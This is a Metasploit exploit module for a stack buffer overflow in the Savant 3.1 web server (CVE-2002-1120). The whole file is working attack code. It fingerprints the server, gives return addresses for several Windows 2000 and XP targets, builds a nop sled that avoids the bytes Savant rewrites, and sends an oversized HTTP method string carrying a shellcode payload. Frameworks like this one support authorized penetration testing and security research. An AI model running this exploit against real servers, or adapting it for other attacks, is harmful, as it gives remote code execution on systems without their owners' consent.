##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /Savant\/3\.1/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Savant 3.1 Web Server Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Savant 3.1 Web Server. The service
          supports a maximum of 10 threads (for a default install). Each exploit attempt
          generally causes a thread to die whether successful or not. Therefore, in a default
          configuration, you only have 10 chances.

          Due to the limited space available for the payload in this exploit module, use of the
          "ord" payloads is recommended.
        },
        'Author' => [ 'aushack' ],
        'Arch'	=> [ ARCH_X86 ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2002-1120' ],
          [ 'OSVDB', '9829' ],
          [ 'BID', '5686' ],
          [ 'EDB', '787' ]
        ],
        'Privileged' => false,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space'	=> 253,
          'BadChars' => "\x00\x0a\x0d\x25",
          'StackAdjustment' => -3500,
          'Compat' =>
                        {
                          'ConnectionType' => '+ws2ord',
                        },
        },
        'Platform' => ['win'],
        'Targets' => [
          # Patrick - Tested OK 2007/08/08 : w2ksp0, w2ksp4, xpsp2 en.
          [ 'Universal Savant.exe', { 'Ret' => 0x00417a96 } ], # p/r Savant.exe
          [ 'Windows 2000 Pro All - English', { 'Ret' => 0x750211aa } ], # p/r ws2help.dll
          [ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2ac5 } ], # p/r ws2help.dll
          [ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa36b2 } ], # p/r ws2help.dll
          [ 'Windows XP Pro SP2 - English', { 'Ret' => 0x71ab76ed } ], # p/r ws2help.dll
        ],
        'DisclosureDate' => '2002-09-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    info = http_fingerprint # check method
    if info and (info =~ /Savant\/3\.1/)
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def safe_nops(count)
    # We need to find a safe nop combination.
    # Savant will change some chars in the http method type - anything before the "/".
    #
    # For example, "GET /" will remain "GET /", however
    # "\xe0 /" will be modified to "\xc0 /" ...
    # "\xfe /" will be modified to "\xde /" ...
    # "\xff /" will be modified to "\x9f /"
    # The code after the "/" - our payload - is unchanged >=)
    #
    # Savant bad_chars for the nops

    bad_nop_chars = [*(0xe0..0xff)].pack("C*")

    nopsled = make_nops(count) # make_nops includes the payload bad_chars
    bad_nop_chars.each_byte { |badbyte|
      nopsled.each_byte { |goodbyte|
        if (goodbyte == badbyte)
          return false
        end
      }
    }
    return nopsled
  end

  def exploit
    print_status("Searching for a suitable nopsled...")
    findnop = safe_nops(24) # If we use short jump or make_nops(), sled will be corrupted.
    until findnop
      findnop = safe_nops(24) # If nops are banned, generate a new batch.
    end

    print_status("Found one! Sending exploit.")
    sploit = findnop + " /" + payload.encoded + [target['Ret']].pack('V')
    res = send_request_raw(
      {
        'method' => sploit,
        'uri' => '/'
      }, 5
    )
    if (res)
      print_error('The server responded, that can\'t be good.')
    end

    handler
  end
end
